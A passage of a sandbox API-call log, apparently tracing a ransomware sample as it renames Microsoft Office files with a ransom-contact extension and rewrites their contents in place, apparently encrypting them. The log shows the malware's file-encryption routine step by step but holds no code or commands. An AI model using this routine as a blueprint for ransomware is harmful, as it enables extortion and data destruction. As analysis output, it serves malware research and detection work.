dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0179.167] GetProcessHeap () returned 0x630000 [0179.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0179.167] GetProcessHeap () returned 0x630000 [0179.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73f9380 [0179.168] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.168] ReadFile (in: hFile=0x3f8, lpBuffer=0x733ec68, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.174] GetProcessHeap () returned 0x630000 [0185.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0185.175] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.175] WriteFile (in: hFile=0x3f8, lpBuffer=0x73f9380*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73f9380*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.175] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.175] WriteFile (in: hFile=0x3f8, lpBuffer=0x740477f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x740477f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.176] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.176] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.176] CloseHandle (hObject=0x3f8) returned 1 [0185.176] GetProcessHeap () returned 0x630000 [0185.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73f9380 | out: hHeap=0x630000) returned 1 [0185.177] GetProcessHeap () returned 0x630000 [0185.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0185.177] GetProcessHeap () returned 0x630000 [0185.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0185.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3452255a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0x9707496, dwReserved1=0x733ec60, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0185.177] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0185.177] Sleep (dwMilliseconds=0x1) [0187.176] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", len=0x51 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx") returned 1 [0187.176] GetProcessHeap () returned 0x630000 [0187.176] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29c0) returned 0x707d3d0 [0187.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0187.177] CloseHandle (hObject=0x4e0) returned 1 [0187.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f49, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESS~2.FIR")) returned 0x6d4ec0 [0187.179] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0187.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0187.179] GetProcessHeap () returned 0x630000 [0187.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x732e3e8 [0187.179] GetProcessHeap () returned 0x630000 [0187.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x7331358 [0187.179] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.179] ReadFile (in: hFile=0x4e0, lpBuffer=0x732e3e8, nNumberOfBytesToRead=0x2f40, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x732e3e8*, lpNumberOfBytesRead=0x65fff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0189.178] GetProcessHeap () returned 0x630000 [0189.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0189.178] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x4e0, lpBuffer=0x7331358*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7331358*, lpNumberOfBytesWritten=0x65fff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x4e0, lpBuffer=0x7334297*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7334297*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.179] CloseHandle (hObject=0x4e0) returned 1 [0189.179] GetProcessHeap () returned 0x630000 [0189.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7331358 | out: hHeap=0x630000) returned 1 [0189.179] GetProcessHeap () returned 0x630000 [0189.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x732e3e8 | out: hHeap=0x630000) returned 1 [0189.179] GetProcessHeap () returned 0x630000 [0189.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0189.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36b44640, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f6d, dwReserved0=0x9707496, dwReserved1=0x732e3e0, cFileName="linessimple.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESS~2.FIR")) returned 0x6d5540 [0189.179] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0189.179] Sleep (dwMilliseconds=0x1) [0191.471] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", len=0x52 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml") returned 1 [0191.471] GetProcessHeap () returned 0x630000 [0191.472] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45f0) returned 0x74656a8 [0191.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.493] CloseHandle (hObject=0x684) returned 1 [0191.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d5240 [0191.494] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0191.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.495] GetProcessHeap () returned 0x630000 [0191.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71eb788 [0191.495] GetProcessHeap () returned 0x630000 [0191.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71ebd68 [0191.495] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.495] ReadFile (in: hFile=0x684, lpBuffer=0x71eb788, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb788*, lpNumberOfBytesRead=0x65fff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.497] GetProcessHeap () returned 0x630000 [0191.497] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177088 [0191.497] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.497] WriteFile (in: hFile=0x684, lpBuffer=0x71ebd68*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ebd68*, lpNumberOfBytesWritten=0x65fff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.497] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.497] WriteFile (in: hFile=0x684, lpBuffer=0x71ebea7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ebea7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.497] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.497] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.497] CloseHandle (hObject=0x684) returned 1 [0191.498] GetProcessHeap () returned 0x630000 [0191.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ebd68 | out: hHeap=0x630000) returned 1 [0191.498] GetProcessHeap () returned 0x630000 [0191.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eb788 | out: hHeap=0x630000) returned 1 [0191.498] GetProcessHeap () returned 0x630000 [0191.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177088 | out: hHeap=0x630000) returned 1 [0191.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x38175e6d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x65ffd20, dwReserved1=0x71eb788, cFileName="WINPROJ.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d4e00 [0191.498] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0191.498] Sleep (dwMilliseconds=0x1) [0191.508] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest", len=0x44 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest") returned 1 [0191.508] GetProcessHeap () returned 0x630000 [0191.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45ec) returned 0x74656a8 [0191.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.509] CloseHandle (hObject=0x684) returned 1 [0191.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3ac69d72, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3ac69d72, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b154d75, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xf7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~2.FIR")) returned 0x6d5240 [0191.510] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0191.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.510] GetProcessHeap () returned 0x630000 [0191.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x727d80 [0191.510] GetProcessHeap () returned 0x630000 [0191.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x6f7788 [0191.510] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.511] ReadFile (in: hFile=0x684, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf60, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x65fff0c*=0xf60, lpOverlapped=0x0) returned 1 [0191.526] GetProcessHeap () returned 0x630000 [0191.526] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0191.527] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x684, lpBuffer=0x6f7788*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7788*, lpNumberOfBytesWritten=0x65fff0c*=0xf60, lpOverlapped=0x0) returned 1 [0191.527] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x684, lpBuffer=0x6f86e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f86e7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.527] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.527] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.527] CloseHandle (hObject=0x684) returned 1 [0191.527] GetProcessHeap () returned 0x630000 [0191.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f7788 | out: hHeap=0x630000) returned 1 [0191.527] GetProcessHeap () returned 0x630000 [0191.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0191.527] GetProcessHeap () returned 0x630000 [0191.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0191.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3ac69d72, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3ac69d72, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x381c22ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x9707496, dwReserved1=0x727d78, cFileName="winproj.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~2.FIR")) returned 0x6d5200 [0191.528] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0191.528] Sleep (dwMilliseconds=0x1) [0191.540] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", len=0x3b | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE") returned 1 [0191.540] GetProcessHeap () returned 0x630000 [0191.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45e8) returned 0x74656a8 [0191.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.540] CloseHandle (hObject=0x684) returned 1 [0191.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3abf78f6, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b50e439, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1cf6848, dwReserved0=0x0, 